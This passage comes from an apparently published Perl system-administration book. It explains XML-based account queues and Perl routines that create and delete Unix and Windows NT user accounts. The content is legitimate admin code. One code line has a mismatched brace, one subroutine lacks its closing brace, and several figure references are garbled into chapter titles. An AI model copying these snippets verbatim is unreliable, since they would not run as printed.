                       Pkg            => 'Account::Parse');

This code returns a parser object after passing in three named parameters. The first, ErrorContext, tells the parser to return three lines of context from the parsed data if an error should occur while parsing. The second sets the parse style as we just discussed. Pkg, the final parameter, instructs the parser to look in a different namespace than the current one for the event handler subroutines it expects to see. By setting this parameter, we've instructed the parser to look for &Account::Parse::StartTag(), &Account::Parse::EndTag( ), and so on, instead of just &StartTag( ), &EndTag( ), etc. This doesn't have any operational impact, but it does allow us to sidestep any concerns that our parser might inadvertently call someone else's function called StartTag( ). Instead of using the Pkg parameter, we could have put an explicit package Account::Parse; line before the above code.

Now let's look at the subroutines that perform the event handling functions. We'll go over them one at a time:

package Account::Parse;

sub StartTag {
    undef %record if ($_[1] eq "account");
}

&StartTag( ) is called each time we hit a start tag in our data. It is invoked with two parameters: a reference to the parser object and the name of the tag encountered. We'll want to construct a new record hash for each new account record we encounter, so we can use StartTag( ) in order to let us know when we've hit the beginning of a new record (e.g., an <account> start tag). In that case, we obliterate any existing record hash. In all other cases we return without doing anything:

sub Text {
   my $ce = $_[0]->current_element(  );
   $record{$ce}=$_ unless ($ce eq "account");
}

Here we use &Text( ) to populate the %record hash. Like the previous function, it too receives two parameters upon invocation: a reference to the parser object and the "accumulated nonmarkup text" the parser has collected between the last start and end tag. We determine which element we're in by calling the parser object's current_element( ) method. According to the XML::Parser::Expat documentation, this method "returns the name of the innermost currently opened element." As long as the current element name is not "account," we're sure to be within one of the subelements of <account>, so we record the element name and its contents:

sub EndTag {
    print Data::Dumper->Dump([\%record],["account"])
        if ($_[1] eq "account");
    # here's where we'd actually do something, instead of just
    # printing the record
}

Our last handler, &EndTag( ), is just like our first, &StartTag( ), except it gets called when we encounter an end tag. If we reach the end of an account record, we do the mundane thing and print that record out. Here's some example output:

$account = {
             'login' => 'bobf',
             'type' => 'staff',
             'password' => 'password',
             'fullname' => 'Bob Fate',
             'id' => '24-9057'
           };
$account = {
             'login' => 'wendyf',
             'type' => 'faculty',
             'password' => 'password',
             'fullname' => 'Wendy Fate',
             'id' => '50-9057'
           };

If we were really going to use this parse code in our account system we would probably call some function like CreateAccount(\%record) rather than printing the record using Data::Dumper.

Now that we've seen the XML::Parser initialization and handler subroutines, we need to include the piece of code that actually initiates the parse:

# handle multiple account records in a single XML queue file
open(FILE,$addqueue) or die "Unable to open $addqueue:$!\n";
# this clever idiom courtesy of Jeff Pinyan
read(FILE, $queuecontents, -s FILE);
$p->parse("<queue>".$queuecontents."</queue>");

This code has probably caused you to raise an eyebrow, maybe even two. The first two lines open our add queue file and read its contents into a single scalar variable called $queuecontents. The third line would probably be easily comprehensible, except for the funny argument being passed to parse( ). Why are we bothering to read in the contents of the actual queue file and then bracket it with more XML before actually parsing it?

Because it is a hack. As hacks go, it's not so bad. Here's why these convolutions are necessary to parse the multiple <account> elements in our queue file.

Every XML document, by definition (in the very first production rule of the XML specification), must have a root or document element. This element is the container element for the rest of the document; all other elements are subelements of it. An XML parser expects the first start tag it sees to be the start tag for the root element of that document and the last end tag it sees to be the end tag for that that element. XML documents that do not conform to this structure are not considered to be well-formed.

This puts us in a bit of a bind when we attempt to model a queue in XML. If we do nothing, <account> will be found as the first tag in the file. Everything will work fine until the parser hits the end </account> tag for that record. At that point it will cease to parse any further, even if there are more records to be found, because it believes it has found the end of the document.

We can easily put a start tag (<queue>) at the beginning of our queue, but how do we handle end tags (</queue>)? We always need the root element's end tag at the bottom of the file (and only there), a difficult task given that we're planning to repeatedly append records to this file.

A plausible but fairly heinous hack would be to seek( ) to the end of the file, and then seek( ) backwards until we backed up just before the last end tag. We could then write our new record over this tag, leaving an end tag at the end of the data we were writing. Just the risk of data corruption (what if you back up too far?) should dissuade you from this method. Also, this method gets tricky in cases where there is no clear end of file, e.g., if you were reading XML data from a network connection. In those cases you would probably need to do some extra shadow buffering of the data stream so it would be possible to back up from the end of transmission.

The method we demonstrated in the code above of prepending and appending a root element tag pair to the existing data may be a hack, but it comes out looking almost elegant compared to other solutions. Let's return to more pleasant topics.

3.3.1.3. Reading XML using XML::Simple

We've seen one method for bare bones XML parsing using the XML::Parser module. To be true to our TMTOWTDI warning, let's revisit the task, taking an even easier tack. Several authors have written modules built upon XML::Parser to parse XML documents and return the data in easy-to-manipulate Perl object/data structure form, including XML::DOM by Enno Derksen, Ken MacLeod's XML::Grove and ToObjects (part of the libxml-perl package), XML::DT by Jose Joao Dias de Almeida, and XML::Simple by Grant McLean. Of these, XML::Simple is perhaps the easiest to use. It was designed to handle smallish XML configuration files, perfect for the task at hand.

XML::Simple provides exactly two functions. Here's the first (in context):

use XML::Simple;
use Data::Dumper;  # just needed to show contents of our data structures

$queuefile = "addqueue.xml";
open(FILE,$queuefile) or die "Unable to open $queuefile:$!\n";
read(FILE, $queuecontents, -s FILE);
$queue = XMLin("<queue>".$queuecontents."</queue>");

We dump the contents of $queue, like so:

print Data::Dumper->Dump([$queue],["queue"]);

It is now a reference to the data found in our add queue file, stored as a hash of a hash keyed on our <id> elements. Figure 3-3 shows this data structure.

Figure 3.3. The data structure created by XMLin( ) with no special arguments

The data structure is keyed this way because XML::Simple has a feature that recognizes certain tags in the data, favoring them over the others during the conversion process. When we turn this feature off:

$queue = XMLin("<queue>".$queuecontents."</queue>",keyattr=>[]);

we get a reference to a hash with the sole value of a reference to an anonymous array. The anonymous array holds our data as seen in Figure 3-4.

Figure 3.4. The data structure created by XMLin( ) with keyattr turned off

That's not a particularly helpful data structure. We can tune the same feature in our favor:

$queue = XMLin("<queue>".$queuecontents."</queue>",keyattr => ["login"]);

Now we have a reference to a data structure (a hash of a hash keyed on the login name), perfect for our needs as seen in Figure 3-5.

Figure 3.5. The same data structure with a user-specified keyattr

How perfect? We can now remove items from our in-memory add queue after we process them with just one line:

# e.g. $login = "bobf";
delete $queue->{account}{$login};

If we want to change a value before writing it back to disk (let's say we were manipulating our main database), that's easy too:

# e.g. $login="wendyf" ; $field="status";
$queue->{account}{$login}{$field}="created";

3.3.1.4. Writing XML using XML::Simple

The mention of "writing it back to disk" brings us to back the method of writing XML promised earlier. XML::Simple's second function takes a reference to a data structure and generates XML:

# rootname sets the root element's name, we could also use
# xmldecl to add an XML declaration
print XMLout($queue, rootname =>"queue");

This yields (indented for readability):

<queue>
  <account name="bobf" type="staff"
           password="password" status="to_be_created"
           fullname="Bob Fate" id="24-9057" />
  <account name="wendyf" type="faculty"
           password="password" status="to_be_created"
           fullname="Wendy Fate" id="50-9057" />
</queue>

This is perfectly good XML, but it's not in the same format as our data files. The data for each account is being represented as attributes of a single <account> </account> element, not as nested elements. XML::Simple has a set of rules for how it translates data structures. Two of these rules (the rest can be found in the documentation) can be stated as "single values are translated into XML attributes" and "references to anonymous arrays are translated as nested XML elements."

We need a data structure in memory that looks like Chapter 3, "User Accounts" to produce the "correct" XML output (correct means "in the same style and format as our data files").

Figure 3.6. The data structure needed to output our XML queue file

Ugly, isn't it? We have a few choices at this point, including:

  1. Changing the format of our data files. This seems a bit extreme.

  2. Changing the way we ask XML::Simple to parse our file. To get an in-memory data structure like the one in Figure 3-6 we could use:

    $queue = XMLin("<queue>".$queuecontents."</queue>",forcearray=>1,
                                                   keyattr => [""]);

    But when we tailor the way we read in the data to make for easy writing, we lose our easy hash semantics for data lookup and manipulation.

  3. Performing some data manipulation after reading but before writing. We could read the data into a structure we like (just like we did before), manipulate the data to our heart's contents, and then transform the data structure into one XML::Simple "likes" before writing it out.

Option number three appears to be the most reasonable, so let's pursue it. Here's a subroutine that takes the data structure in Chapter 3, "User Accounts" and transforms it into the data structure found in Chapter 3, "User Accounts". An explanation of this code will follow:

sub TransformForWrite{
  my $queueref = shift;
  my $toplevel = scalar each %$queueref;

  foreach my $user (keys %{$queueref->{$toplevel}}){
    my %innerhash =
       map {$_,[$queueref->{$toplevel}{$user}{$_}] }
             keys %{$queueref->{$toplevel}{$user}};
    $innerhash{'login'} = [$user];
    push @outputarray, \%innerhash;
  }

  $outputref = { $toplevel => \@outputarray};
  return $outputref;
}

Let's walk through the TransformForWrite( ) subroutine one step at a time.

If you compare Figure 3-5 and Figure 3-6, you'll notice one common feature between these two structures: there is an outermost hash keyed with the same key (account). The following retrieves that key name by requesting the first key in the hash pointed to by $queueref:

my $toplevel = scalar each %$queueref;

Let's see how this data structure is created from the inside out:

my %innerhash =
       map {$_,[$queueref->{$toplevel}{$user}{$_}] }
             keys %{$queueref->{$toplevel}{$user}};

This piece of code uses map( ) to iterate over the keys found in the innermost hash for each entry (i.e., login, type, password, status). The keys are returned by:

keys %{$queueref->{$toplevel}{$user}};

As we iterate over each key, we ask map to return two values for each key: the key itself, and the reference to an anonymous array that contains the value of this key:

map {$_,[$queueref->{$toplevel}{$user}{$_}] }

The list returned by map( ) looks like this:

(login,[bobf], type,[staff], password,[password]...)

It has a key-value format, where the values are stored as elements in anonymous arrays. We can simply assign this list to %innerhash to populate the inner hash table for our resulting data structure (my %innerhash =). We also add a login key to that hash based on the current user being processed:

$innerhash{'login'} = [$user];

The data structure we are trying to create is a list of hashes like these, so after we create and populate our inner hash, we add a reference to it on to the end of our output structure list:

push @outputarray, \%innerhash;

We repeat this procedure once for every login key found in our original data structure (once per account record). When we are done, we have a list of references to hashes in the form we need. We create an anonymous hash with a key that is the same as the outermost key for the original data structure and a value that is our list of hashes. We return a reference to this anonymous hash back to the caller of our subroutine, and we're done:

$outputref = { $toplevel => \@outputarray};
  return $outputref;

With &TransformForWrite( ), we can now write code to read in, manipulate, and then write out our data:

$queue = XMLin("<queue>".$queuecontents."</queue>",keyattr => ["login"]);
manipulate the data...

print OUTPUTFILE XMLout(TransformForWrite($queue),rootname => "queue");

The data written will be in the same format as the data read.

Before we move on from the subject of reading and writing data, let's tie up some loose ends:

  1. Eagle-eyed readers may notice that using XML::Writer and XML::Simple in the same program to write to our account queue could be problematic. If we write with XML::Simple, our data will be nested in a root element by default. If we write using XML::Writer (or with just print statements), that's not necessarily the case, meaning we need to resort to the "<queue>".$queuecontents."</queue>" hack. We have an undesirable level of reader-writer synchronization between our XML parsing and writing code.

    To get around this, we will have to use an advanced feature of XML::Simple: if XMLout( ) is passed a rootname parameter with a value that is empty or undef, it will produce XML code that does not have a root element. In most cases this is a dangerous thing to do because it means the XML being produced is not well-formed and will not be parseable. Our queue-parsing hack allows us to get away with it, but in general this is not a feature you want to invoke lightly

  2. Though we didn't do this in our sample code, we should be ready to deal with parsing errors. If the data file contains non-well-formed data, then your parser will sputter and die (as per the XML specification), taking your whole program with it unless you are careful. The most common way to deal with this in Perl is to wrap your parse statement in eval( ) and then check the contents of $@ after the parse completes.[8] For example:

    [8]Daniel Burckhardt pointed out on the Perl-XML list that this method has its drawbacks. In a multithreaded Perl program, checking the global $@ may not be safe without taking other precautions. Threading issues like this were still under discussion among the Perl developers at the time of this publishing.

eval {$p->parse("<queue>".$queuecontents."</queue>")};
if ($@) { do something graceful to handle
the error before quitting...

};

Another solution would be to use something like the XML::Checker module mentioned before, since it handles parse errors with more grace.

3.3.2. The Low-Level Component Library

Now that we have all of the data under control, including how it is acquired, written, read, and stored, let's look at how it is actually used deep in the bowels of our account system. We're going to explore the code that actually creates and deletes users. The key to this section is the notion that we are building a library of reusable components. The better you are able to compartmentalize your account system routines, the easier it will be to change only small pieces when it comes time to migrate your system to some other operating system or make changes. This may seem like unnecessary caution on our part, but the one constant in system administration work is constant change.

3.3.2.1. Unix account creation and deletion routines

Let's begin with the code that handles Unix account creation. Most of this code will be pretty trivial because we're going to take the easy way out. Our account creation and deletion routines will call vendor-supplied "add user," "delete user," and "change password" executables with the right arguments.

Why the apparent cop-out? We are using this method because we know the OS-specific executable will play nice with the other system components. Specifically, this method:

  • Handles the locking issues for us (i.e., avoids the data corruption problems, that two programs simultaneously trying to write to the password file can cause).

  • Handles the variations in password file formats (including password encoding) we discussed earlier.

  • Is likely to be able to handle any OS-specific authentication schemes or password distribution mechanisms. For instance, under Digital Unix, the external "add user" executable can add directly add a user to the NIS maps on a master server.

Drawbacks of using an external binary to create and remove accounts include:

OS variations

Each OS has a different set of binaries, located at a different place on the system, which take slightly different arguments. In a rare show of compatibility, almost all of the major Unix variants (Linux included, BSD variants excluded) have mostly compatible add and remove account binaries called useradd and userdel. The BSD variants use adduser and rmuser, two programs with similar purpose but very different argument names. Variations like this tend to increase the complexity of our code.

Security concerns are introduced

The program we call and the arguments passed to it will be exposed to users wielding the ps command. If accounts are only created on a secure machine (like a master server), this reduces the data leakage risk considerably.

Added dependency

If the executable changes for some reason or is moved, our account system is kaput.

Loss of control

We have to treat a portion of the account creation process as being atomic; in other words, once we run the executable we can't intervene or interleave any of our own operations. Error detection and recovery becomes more difficult.

These programs rarely do it all

It's likely these programs will not perform all of the steps necessary to instantiate an account at your site. Perhaps you need to add specific user types to specific auxiliary groups, place users on a site-wide mailing list, or add users to a license file for a commercial package. You'll have to add some more code to handle these specifities. This isn't a problem with the approach itself, it's more of a heads up that any account system you build will probably require more work on your part than just calling another executable. This will not surprise most system administrators, since system administration is very rarely a walk in the park.

For the purposes of our demonstration account system, the positives of this approach outweigh the negatives, so let's see some code that uses external executables. To keep things simple, we're going to show code that works under Solaris and Linux on a local machine only, ignoring complexities like NIS and BSD variations. If you'd like to see a more complex example of this method in action, you may find the CfgTie family of modules by Randy Maas instructive.

Here's our basic account creation routine:

# these variables should really be set in a central configuration file
$useraddex    = "/usr/sbin/useradd";  # location of useradd executable
$passwdex     = "/bin/passwd";        # location of passwd executable
$homeUnixdirs = "/home";              # home directory root dir
$skeldir      = "/home/skel";         # prototypical home directory
$defshell     = "/bin/zsh";           # default shell

sub CreateUnixAccount{

    my ($account,$record) = @_;

    ### construct the command line, using:
    # -c = comment field
    # -d = home dir
    # -g = group (assume same as user type)
    # -m = create home dir
    # -k = and copy in files from this skeleton dir
    # (could also use -G group, group, group to add to auxiliary groups)
    my @cmd = ($useraddex,
           "-c", $record->{"fullname"},
           "-d", "$homeUnixdirs/$account",
           "-g", $record->{"type"},
           "-m",
           "-k", $skeldir,
           "-s", $defshell,
           $account);

    print STDERR "Creating account...";
    my $result = 0xff & system @cmd;
    # the return code is 0 for success, non-0 for failure, so we invert
    if ($result){
        print STDERR "failed.\n";
        return "$useraddex failed";
    }
    else {
        print STDERR "succeeded.\n";
    }

    print STDERR "Changing passwd...";
    unless ($result = &InitUnixPasswd($account,$record->{"password"})){
        print STDERR "succeeded.\n";
        return "";
    }
    else {
        print STDERR "failed.\n";
        return $result;
    }
}

This adds the appropriate entry to our password file, creates a home directory for the account, and copies over some default environment files (.profile, .tcshrc, .zshrc, etc.) from a skeleton directory.

Notice we make a separate subroutine call to handle setting a password for the account. The useradd command on some operating systems (like Solaris) will leave an account in a locked state until the passwd command is run for that account. This process requires a little sleight of hand, so we encapsulate that step in a separate subroutine to keep the details out of our way. We'll see that subroutine in just a moment, but first for symmetry's sake here's the simpler account deletion code:

# these variables should really be set in a central configuration file
$userdelex = "/usr/sbin/userdel";  # location of userdel executable

sub DeleteUnixAccount{

    my ($account,$record) = @_;

    ### construct the command line, using:
    # -r = remove the account's home directory for us
    my @cmd = ($userdelex, "-r", $account);

    print STDERR "Deleting account...";
    my $result = 0xffff & system @cmd;
    # the return code is 0 for success, non-0 for failure, so we invert
    if (!$result){
        print STDERR "succeeded.\n";
        return "";
    }
    else {
        print STDERR "failed.\n";
         return "$userdelex failed";
    }
}

Before we move on to NT account operations, let's deal with the InitUnixPasswd( ) routine we mentioned earlier. To finish creating an account (under Solaris, at least), we need to change that account's password using the standard passwd command. passwd<accountname> will change that account's password.

Sounds simple, but there's a problem lurking here. The passwd command expects to prompt the user for the password. It takes great pains to make sure it is talking to a real user by interacting directly with the user's terminal device. As a result, the following will not work:

# this code DOES NOT WORK
open(PW,"|passwd $account");
print PW $oldpasswd,"\n";
print PW $newpasswd,"\n";

We have to be craftier than usual; somehow faking the passwd program into thinking it is dealing with a human rather than our Perl code. We can achieve this level of duplicity by using Expect.pm, a Perl module by Austin Schutz that sets up a pseudo-terminal (pty) within which another program will run. Expect.pm is heavily based on the famous Tcl program Expect by Don Libes. This module is part of the family of bidirectional program interaction modules. We'll see its close relative, Jay Rogers's Net::Telnet, in Chapter 6, "Directory Services".

These modules function using the same basic conversational model: wait for output from a program, send it some input, wait for a response, send some data, and so on. The code below starts up passwd in a pty and waits for it to prompt for the password. The discussion we have with passwd should be easy to follow:

use Expect;

sub InitUnixPasswd {
    my ($account,$passwd) = @_;

    # return a process object
    my $pobj = Expect->spawn($passwdex, $account);
    die "Unable to spawn $passwdex:$!\n" unless (defined $pobj);

    # do not log to stdout (i.e. be silent)
    $pobj->log_stdout(0);

    # wait for password & password re-enter prompts,
    # answering appropriately
    $pobj->expect(10,"New password: ");
    # Linux sometimes prompts before it is ready for input, so we pause
    sleep 1;
    print $pobj "$passwd\r";
    $pobj->expect(10, "Re-enter new password: ");
    print $pobj "$passwd\r";

    # did it work?
    $result = (defined ($pobj->expect(10, "successfully changed")) ?
                                        "" : "password change failed");

    # close the process object, waiting up to 15 secs for
    # the process to exit
    $pobj->soft_close(  );

    return $result;
}

The Expect.pm module meets our meager needs well in this routine, but it is worth noting that the module is capable of much more complex operations. See the documentation and tutorial included with the Expect.pm module for more information.

3.3.2.2. Windows NT/2000 account creation and deletion routines

The process of creating and deleting an account under Windows NT/2000 is slightly easier than the process under Unix because standard API calls for the operation exist under NT. Like Unix, we could call an external executable to handle the job (e.g., the ubiquitous net command with its USERS/ADD switch), but it is easy to use the native API calls from a handful of different modules, some we've mentioned earlier. Account creation functions exist in Win32::NetAdmin, Win32::UserAdmin, Win32API::Net, and Win32::Lanman, just to start. Windows 2000 users will find the ADSI material in Chapter 6, "Directory Services" to be their best route.

Picking among these NT4-centric modules is mostly a matter of personal preference. In order to understand the differences between them, we'll take a quick look behind the scenes at the native user creation API calls. These calls are documented in the Network Management SDK documentation on http://msdn.microsoft.com (search for "NetUserAdd" if you have a hard time finding it). NetUserAdd( ) and the other calls take a parameter that specifies the information level of the data being submitted. For instance, with information level 1, the C structure that is passed in to the user creation call looks like this:

typedef struct _USER_INFO_1 {
  LPWSTR    usri1_name;
  LPWSTR    usri1_password;
  DWORD     usri1_password_age;
  DWORD     usri1_priv;
  LPWSTR    usri1_home_dir;
  LPWSTR    usri1_comment;
  DWORD     usri1_flags;
  LPWSTR    usri1_script_path;
}

If information level 2 is used, the structure expected is expanded considerably:

typedef struct _USER_INFO_2 {
  LPWSTR    usri2_name;
  LPWSTR    usri2_password;
  DWORD     usri2_password_age;
  DWORD     usri2_priv;
  LPWSTR    usri2_home_dir;
  LPWSTR    usri2_comment;
  DWORD     usri2_flags;
  LPWSTR    usri2_script_path;
  DWORD     usri2_auth_flags;
  LPWSTR    usri2_full_name;
  LPWSTR    usri2_usr_comment;
  LPWSTR    usri2_parms;
  LPWSTR    usri2_workstations;
  DWORD     usri2_last_logon;
  DWORD     usri2_last_logoff;
  DWORD     usri2_acct_expires;
  DWORD     usri2_max_storage;
  DWORD     usri2_units_per_week;
  PBYTE     usri2_logon_hours;
  DWORD     usri2_bad_pw_count;
  DWORD     usri2_num_logons;
  LPWSTR    usri2_logon_server;
  DWORD     usri2_country_code;
  DWORD     usri2_code_page;
}

Without having to know anything about these parameters, or even much about C at all, we can still tell that a change in level increases the amount of information that can be specified as part of the user creation. Also, each subsequent information level is a superset of the previous one.

What does this have to do with Perl? Each module mentioned makes two decisions:

  1. Should the notion of "information level" be exposed to the Perl programmer?

  2. Which information level (i.e., how many parameters) can the programmer use?

Win32API::Net and Win32::UserAdmin both allow the programmer to choose an information level. Win32::NetAdmin and Win32::Lanman do not. Of the modules, Win32::NetAdmin exposes the least number of parameters; for example, you cannot set the full_name field as part of the user creation call. If you choose to use Win32::NetAdmin, you will probably have to supplement it with calls from another module to set the additional parameters it does not expose. If you do go with a combination like Win32::NetAdmin and Win32::AdminMisc, you'll want to consult the Roth book mentioned earlier, because it is an excellent reference for the documentation-impoverished Win32::NetAdmin module.

Now you have some idea why the module choice really boils down to personal preference. A good strategy might be to first decide which parameters are important to you, and then find a comfortable module that supports them. For our demonstration subroutines below, we're going to arbitrarily pick Win32::Lanman. Here's the user creation and deletion code for our account system:

use Win32::Lanman;   # for account creation
use Win32::Perms;    # to set the permissions on the home directory

$homeNTdirs = "\\\\homeserver\\home";         # home directory root dir

sub CreateNTAccount{

    my ($account,$record) = @_;

    # create this account on the local machine
    # (i.e., empty first parameter)
    $result = Win32::Lanman::NetUserAdd("",
                     {'name' => $account,
                      'password'  => $record->{password},
                      'home_dir'  => "$homeNTdirs\\$account",
                      'full_name' => $record->{fullname}});
    return Win32::Lanman::GetLastError(  ) unless ($result);

    # add to appropriate LOCAL group (first get the SID of the account)
    # we assume the group name is the same as the account type
    die "SID lookup error: ".Win32::Lanman::GetLastError(  )."\n" unless
        (Win32::Lanman::LsaLookupNames("", [$account], \@info));
    $result = Win32::Lanman::NetLocalGroupAddMember("",$record->{type},
                                                       ${$info[0]}{sid});
    return Win32::Lanman::GetLastError(  ) unless ($result);

    # create home directory
    mkdir "$homeNTdirs\\$account",0777 or
       return "Unable to make homedir:$!";

    # now set the ACL and owner of the directory
    $acl = new Win32::Perms("$homeNTdirs\\$account");
    $acl->Owner($account);

    # we give the user full control of the directory and all of the
    # files that will be created within it (hence the two separate calls)
    $acl->Allow($account, FULL, DIRECTORY|CONTAINER_INHERIT_ACE);
    $acl->Allow($account, FULL,
                          FILE|OBJECT_INHERIT_ACE|INHERIT_ONLY_ACE);
    $result = $acl->Set(  );
    $acl->Close(  );

    return($result ? "" : $result);
}

The user deletion code looks like this:

use Win32::Lanman;   # for account deletion
use File::Path;      # for recursive directory deletion

sub DeleteNTAccount{

    my($account,$record) = @_;

    # remove user from LOCAL groups only. If we wanted to also
    # remove from global groups we could remove the word "Local" from
    # the two Win32::Lanman::NetUser* calls (e.g., NetUserGetGroups)
    die "SID lookup error: ".Win32::Lanman::GetLastError(  )."\n" unless
        (Win32::Lanman::LsaLookupNames("", [$account], \@info));
    Win32::Lanman::NetUserGetLocalGroups($server, $account,'', \@groups);
    foreach $group (@groups){
        print "Removing user from local group ".$group->{name}."...";
        print(Win32::Lanman::NetLocalGroupDelMember("",
                              $group->{name),
                                                    ${$info[0]}{sid}) ?
                              "succeeded\n" : "FAILED\n");
    }

    # delete this account on the local machine
    # (i.e., empty first parameter)
    $result = Win32::Lanman::NetUserDel("", $account);

    return Win32::Lanman::GetLastError(  ) if ($result);

    # delete the home directory and its contents
    $result = rmtree("$homeNTdirs\\$account",0,1);

    # rmtree returns the number of items deleted,
    # so if we deleted more than 0,it is likely that we succeeded
    return $result;

As a quick aside, the above code uses the portable File::Path module to remove an account's home directory. If we wanted to do something Win32-specific, like move the home directory to the Recycle Bin instead, we could use a module called Win32::FileOp by Jenda Krynicky, at http://jenda.krynicky.cz/. In this case, we'd use Win32::FileOp and change the rmtree( ) line to:

# will move directory to the Recycle Bin, potentially confirming
# the action with the user if our account is set to confirm
# Recycle Bin actions
$result = Recycle("$homeNTdirs\\$account");

This same module also has a Delete( ) function that will perform the same operation as the rmtree( ) call above in a less portable (although quicker) fashion.

3.3.3. The Process Scripts

Once we have a backend database, we'll want to write scripts that encapsulate the day-to-day and periodic processes that take place for user administration. These scripts are based on a low-level component library (Account.pm) we created by concatenating all of the subroutines we just wrote together into one file. To make sure all of the modules we need are loaded, we'll add this subroutine:

sub InitAccount{

    use XML::Writer;

    $record   = { fields => [login,fullname,id,type,password]};
    $addqueue   = "addqueue";  # name of add account queue file
    $delqueue   = "delqueue";  # name of del account queue file
    $maindata   = "accountdb"; # name of main account database file

    if ($^O eq "MSWin32"){
        require Win32::Lanman;
        require Win32::Perms;
        require File::Path;

        # location of account files
        $accountdir = "\\\\server\\accountsystem\\";
        # mail lists, example follows
        $maillists  = "$accountdir\\maillists\\";
        # home directory root
        $homeNTdirs = "\\\\homeserver\\home";
        # name of account add subroutine
        $accountadd = "CreateNTAccount";
        # name of account del subroutine
        $accountdel = "DeleteNTAccount";
    }
    else {
        require Expect;
        # location of account files
        $accountdir   = "/usr/accountsystem/";
        # mail lists, example follows
        $maillists    = "$accountdir/maillists/";
        # location of useradd executable
        $useraddex    = "/usr/sbin/useradd";
        # location of userdel executable
        $userdelex    = "/usr/sbin/userdel";
        # location of passwd executable
        $passwdex     = "/bin/passwd";
        # home directory root dir
        $homeUnixdirs = "/home";
        # prototypical home directory
        $skeldir      = "/home/skel";
        # default shell
        $defshell     = "/bin/zsh";
        # name of account add subroutine
        $accountadd   = "CreateUnixAccount";
        # name of account del subroutine
        $accountdel   = "DeleteUnixAccount";
    }
}

Let's see some sample scripts. Here's the script that processes the add queue:

use Account;
use XML::Simple;

&InitAccount;     # read in our low level routines
&ReadAddQueue;    # read and parse the add account queue
&ProcessAddQueue; # attempt to create all accounts in the queue
&DisposeAddQueue; # write account record either to main database or back
                  # to queue if there is a problem

# read in the add account queue to the $queue data structure
sub ReadAddQueue{
    open(ADD,$accountdir.$addqueue) or
      die "Unable to open ".$accountdir.$addqueue.":$!\n";
    read(ADD, $queuecontents, -s ADD);
    close(ADD);
    $queue = XMLin("<queue>".$queuecontents."</queue>",
                   keyattr => ["login"]);
}

# iterate through the queue structure, attempting to create an account
# for each request (i.e., each key) in the structure
sub ProcessAddQueue{
    foreach my $login (keys %{$queue->{account}}){
        $result = &$accountadd($login,$queue->{account}->{$login});
        if (!$result){
            $queue->{account}->{$login}{status} = "created";
        }
        else {
            $queue->{account}->{$login}{status} = "error:$result";
        }
    }
}

# now iterate through the queue structure again. For each account with
# a status of "created," append to main database. All others get written
# back to the add queue file, overwriting it.
sub DisposeAddQueue{
    foreach my $login (keys %{$queue->{account}}){
        if ($queue->{account}->{$login}{status} eq "created"){
            $queue->{account}->{$login}{login} = $login;
            $queue->{account}->{$login}{creation_date} = time;
            &AppendAccountXML($accountdir.$maindata,
                              $queue->{account}->{$login});
            delete $queue->{account}->{$login};
            next;
        }
    }

    # all we have left in $queue at this point are the accounts that
    # could not be created

    # overwrite the queue file
    open(ADD,">".$accountdir.$addqueue) or
      die "Unable to open ".$accountdir.$addqueue.":$!\n";
    # if there are accounts that could not be created write them
    if (scalar keys %{$queue->{account}}){
        print ADD XMLout(&TransformForWrite($queue),rootname => undef);
    }
    close(ADD);
}

Our "process the delete user queue file" script is similar:

use Account;
use XML::Simple;

&InitAccount;     # read in our low level routines
&ReadDelQueue;    # read and parse the add account queue
&ProcessDelQueue; # attempt to delete all accounts in the queue
&DisposeDelQueue; # write account record either to main database or back
                  # to queue if there is a problem

# read in the del user queue to the $queue data structure
sub ReadDelQueue{
    open(DEL,$accountdir.$delqueue) or
      die "Unable to open ${accountdir}${delqueue}:$!\n";
    read(DEL, $queuecontents, -s DEL);
    close(DEL);
    $queue = XMLin("<queue>".$queuecontents."</queue>",
                   keyattr => ["login"]);
}

# iterate through the queue structure, attempting to delete an account for
# each request (i.e. each key) in the structure
sub ProcessDelQueue{
    foreach my $login (keys %{$queue->{account}}){
        $result = &$accountdel($login,$queue->{account}->{$login});
        if (!$result){
            $queue->{account}->{$login}{status} = "deleted";
        }
        else {
            $queue->{account}->{$login}{status} = "error:$result";
        }
    }
}

# read in the main database and then iterate through the queue
# structure again. For each account with a status of "deleted," change
# the main database information. Then write the main database out again.
# All that could not be deleted are written back to the del queue
# file, overwriting it.
sub DisposeDelQueue{
    &ReadMainDatabase;

    foreach my $login (keys %{$queue->{account}}){
        if ($queue->{account}->{$login}{status} eq "deleted"){
            unless (exists $maindb->{account}->{$login}){
                warn "Could not find $login in $maindata\n";
                next;
            }
            $maindb->{account}->{$login}{status} = "deleted";
            $maindb->{account}->{$login}{deletion_date} = time;
            delete $queue->{account}->{$login};
            next;
       }
    }

    &WriteMainDatabase;

    # all we have left in $queue at this point are the accounts that
    # could not be deleted
    open(DEL,">".$accountdir.$delqueue) or
      die "Unable to open ".$accountdir.$addqueue.":$!\n";
    # if there are accounts that could not be created, else truncate
    if (scalar keys %{$queue->{account}}){
        print DEL XMLout(&TransformForWrite($queue),rootname => undef);
    }
    close(DEL);
}

sub ReadMainDatabase{
    open(MAIN,$accountdir.$maindata) or
      die "Unable to open ".$accountdir.$maindata.":$!\n";
    read (MAIN, $dbcontents, -s MAIN);
    close(MAIN);
    $maindb = XMLin("<maindb>".$dbcontents."</maindb>",
                    keyattr => ["login"]);
}

sub WriteMainDatabase{
    # note: it would be *much, much safer* to write to a temp file
    # first and then swap it in if the data was written successfully
    open(MAIN,">".$accountdir.$maindata) or
      die "Unable to open ".$accountdir.$maindata.":$!\n";
    print MAIN XMLout(&TransformForWrite($maindb),rootname => undef);
    close(MAIN);
}

There are many other process scripts you could imagine writing. For example, we could certainly use scripts that perform data export and consistency checking (e.g., does the user's home directory match up with the main databases account type? Is that user in the appropriate group?). We don't have space to cover this wide range of programs, so let's end this section with a single example of the data export variety. Earlier we mentioned that a site might want a separate mailing list for each type of user on the system. The following code reads our main database and creates a set of files that contain user names, one file per user type:

use Account;         # just to get the file locations
use XML::Simple;

&InitAccount;
&ReadMainDatabase;
&WriteFiles;

# read the main database into a hash of lists of hashes
sub ReadMainDatabase{
    open(MAIN,$accountdir.$maindata) or
      die "Unable to open ".$accountdir.$maindata.":$!\n";
    read (MAIN, $dbcontents, -s MAIN);
    close(MAIN);
    $maindb = XMLin("<maindb>".$dbcontents."</maindb>",keyattr => [""]);
}

# iterate through the lists, compile the list of accounts of a certain
# type and store them in a hash of lists. Then write out the contents of
# each key to a different file.
sub WriteFiles {
    foreach my $account (@{$maindb->{account}}){
        next if $account->{status} eq "deleted";
        push(@{$types{$account->{type}}},$account->{login});
    }

    foreach $type (keys %types){
        open(OUT,">".$maillists.$type) or
          die "Unable to write to ".$accountdir.$maillists.$type.": $!\n";
